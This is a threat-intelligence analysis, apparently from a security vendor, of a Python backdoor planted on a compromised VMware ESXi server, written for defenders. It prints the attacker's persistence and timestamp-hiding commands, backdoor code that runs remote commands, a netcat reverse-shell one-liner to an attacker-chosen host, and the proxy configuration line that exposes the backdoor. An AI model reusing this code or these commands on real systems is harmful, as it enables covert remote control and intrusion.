A Custom Python Backdoor for VMWare ESXi Servers

Foothold and Persistence
ESXi is a virtualization platform with a lightweight UNIX-like host operating system and the capability to run many virtual machines simultaneously. While the virtual disk images for these VMs are stored on the ESXi’s physical disks, the system files for the host OS are stored in RAM and changes are discarded on a reboot.
Only a few specific system files are automatically backed up and restored on a reboot. Among these is /etc/rc.local.d/local.sh, which is executed at startup. By default, this file is empty other than comments explaining and discouraging its use. In the case of the compromised machine Operatives analyzed, the attacker had added the following code:

/bin/mv /bin/hostd-probe.sh /bin/hostd-probe.sh.1
/bin/cat <> /bin/hostd-probe.sh
/bin/nohup /bin/python -u /store/packages/vmtools.py >/dev/null 2>&1&
LOCAL2
/bin/cat /bin/hostd-probe.sh.1 >> /bin/hostd-probe.sh
/bin/chmod 755 /bin/hostd-probe.sh
/bin/rm /bin/hostd-probe.sh.1
/bin/touch -r /usr/lib/vmware/busybox/bin/busybox /bin/hostd-probe.sh
The first 7 lines prepend, in a convoluted fashion, a single line of code to /bin/hostd-probe.sh, a system file that is executed automatically when the system boots.
This line of code launches a Python script:

/bin/nohup /bin/python -u /store/packages/vmtools.py >/dev/null 2>&1&
The touch command in the final line of code resets the modification and access timestamps of /bin/hostd-probe.sh to those of a preinstalled system file, making it appear as though /bin/hostd-probe.sh had not been modified since the system software was installed or last updated.

There are a total of 4 files installed or modified in this attack:

/etc/rc.local.d/local.sh: stored in RAM, but changes are backed up and restored on reboot
/bin/hostd-probe.sh: changes are stored in RAM and reapplied after a reboot
/store/packages/vmtools.py: saved to the persistent disk stores used for VM disk images, logs, etc.
/etc/vmware/rhttpproxy/endpoints.conf: changes are stored in RAM and reapplied after a reboot
Python Backdoor
While the Python script used in this attack is cross-platform and can be used with little or no modification on Linux or other UNIX-like systems, there are several indications that this attack was designed specifically to target ESXi. The name of the file and its location, /store/packages/vmtools.py, was chosen to raise little suspicion on a virtualization host. The file begins with a VMware copyright consistent with publicly available examples and is taken character-for-character from an existing Python file provided by VMware.

#!/bin/python
“””
Copyright 2011 – 2014 VMware, Inc. All rights reserved.

This module starts debug tools
“””

from http.server import BaseHTTPRequestHandler, HTTPServer
The Python script launches a simple webserver that accepts password-protected POST requests and can be used in two ways: it can run arbitrary remote commands and display the results as a webpage, or it can launch a reverse shell to the host and port of the attacker’s choice. This server binds to port 8008 on the local IP address 127.0.0.1 and accepts 5 misleadingly named parameters:

server_namespace: password protecting the backdoor from unintended use
server_instance: either “local” (run commands directly) or “remote” (reverse shell)
operation_id: command to execute (“local” only)
envelope and path_set: host and port, respectively, for the reverse shell (“remote” only)
The server first checks the MD5 hash of the provided password against a hard-coded value. If this succeeds, the execution path splits based on the value of server_instance. If the provided value is “local”, the server executes the value of operation_id as a base64-encoded command and writes the output to the browser:

if action is None or action == ‘local’:
encoded_cmd = form.getvalue(‘operation_id’)
if encoded_cmd is not None:
try:
cmd = str(base64.b64decode(encoded_cmd), “utf-8”)
except binascii.Error:
return
self.wfile.write(os.popen(cmd).read().encode())
If the value of server_instance is “remote”, the webserver launches a reverse shell to the host and port provided in envelope and path_set, respectively.

if action == ‘remote’:
host = form.getvalue(‘envelope’)
if host is not None:
port = form.getvalue(‘path_set’)
if port is None:
port = ‘427’

cmd = ‘mkfifo /tmp/tmpy_8th_nb; cat /tmp/tmpy_8th_nb | /bin/sh -i 2>&1 | nc %s %s > /tmp/tmpy_8th_nb’ % (host, port)
subprocess.Popen(cmd, shell=True)
A reverse shell is a terminal session on the compromised machine but is “reversed” in that the network connection originates on the compromised machine.

This contrasts with an ordinary remote terminal session like ssh, where an external user initiates the connection to a target machine in order to run shell commands. Using a reverse shell can bypass firewall restrictions and works even when the compromised machine is not directly accessible from the internet.

The reverse shell command is taken from a reverse shell one-liners cheat sheet:

mkfifo /tmp/tmpy_8th_nb; cat /tmp/tmpy_8th_nb | /bin/sh -i 2>&1 | nc /tmp/tmpy_8th_nb
The sequence of piped commands is somewhat more complicated than the most common reverse shell invocations and is needed to work around limitations in the netcat version available on ESXi. Note that if no port number is supplied in the POST request, the default port used is 427. This is the standard service port for OpenSLP, the vulnerable service most likely exploited to gain access to the ESXi server and is another indication that this attack was crafted with ESXi targets in mind.

Reverse Proxy
Analysts previously noted that the malicious Python webserver binds to a 127.0.0.1, the “home” IP address that is only accessible from within the compromised machine. In order to allow remote access, the hackers changed the configuration of the ESXi reverse HTTP proxy. The configuration file, /etc/vmware/rhttpproxy/endpoints.conf, contains a number of mappings from pathnames to network ports, such as:

/sdk local 8307 redirect allow
This line instructs the reverse proxy to forward to port 8307 any external requests to https://<server_url/sdk/*. The attackers appended the following line to endpoints.conf, allowing external access to the malicious webserver:

/ local 8008 allow allow
Because /etc/vmware/rhttpproxy/endpoints.conf is also among the system files that are backed up and restored automatically, this reverse proxy configuration is persistent.

Sign Up For Threat Alerts

Loading...
Threats Icon

Feb 05, 2023

Trigona Ransomware Analysis

Trigona ransomware appeared on the threat landscape in late 2022 and threatens to release stolen...

Threats Icon

Feb 02, 2023

Ukraine CERT-UA: Compromised Email Address Used To...

An adversary was discovered using a compromised e-mail address to send phishing emails with a...

Threats Icon

Feb 01, 2023

Ukraine Government Sector Targeted With The DolphinCape...

The government sector of Ukraine was targeted with spear-phishing emails with a malicious attachment which...

Threats Icon

Feb 01, 2023

Ukraine Government Sector Targeted With The DolphinCape...

The government sector of Ukraine was targeted with spear-phishing emails with a malicious attachment which...

Threats Icon

Jan 31, 2023

Multiple Malware Variants Distributed Through Microsoft OneNote

Spear-phishing emails with malicious Microsoft OneNote attachments were discovered delivering variants from the AsyncRAT, Formbook¸...

Threats Icon

Jan 30, 2023

Playing Whack-a-Mole With New Dharma Ransomware Variants

The Dharma ransomware family was initially identified in 2016 and operates as a Ransomware-as-a-Service (RaaS)...

Threats Icon

Jan 29, 2023

APT15 Targets Multiple Sectors With Turian Backdoor

APT15, also known as Playful Taurus, is an advanced persistent threat (APT) that conducts a...

Threats Icon

Jan 26, 2023

Vice Society Ransomware Group Targets Manufacturing Companies

The Vice Society threat group was discovered targeting multiple sectors including manufacturing companies in Brazil....

Threats Icon

Jan 26, 2023

US Cert Alert – Alert (AA23-025A) Protecting...

Although this campaign appears financially motivated, the authoring organizations assess it could lead to additional...

Threats Icon

Jan 25, 2023

Emotet Malware Makes a Comeback with New...

The Emotet malware operation has continued to refine its tactics in an effort to fly...

Threats Icon

Jan 25, 2023

DragonSpark

The DragonSpark attacks represent the first concrete malicious activity where Analysts observe the consistent use...

Threats Icon

Jan 25, 2023

PLAY Ransomware

PLAY is simple but heavily obfuscated with a lot of unique tricks that have not...

Threats Icon

Jan 24, 2023

Gamaredon Abuses Telegram To Target Ukrainian Government...

The Gamaredon APT group was discovered targeting Ukrainian government entities using the Telegram messaging service...

Threats Icon

Jan 23, 2023

NeedleDropper: A New Dropper-as-a-Service Uncovered

Avast's Threat Research Team has since October 2022 been observing a new strain of dropper...

Threats Icon

Jan 22, 2023

Aurora Stealer Leverages Shapeshifting Tactics And Popular...

A threat actor was discovered mimicking legitimate websites to host and deliver the 9002 RAT,...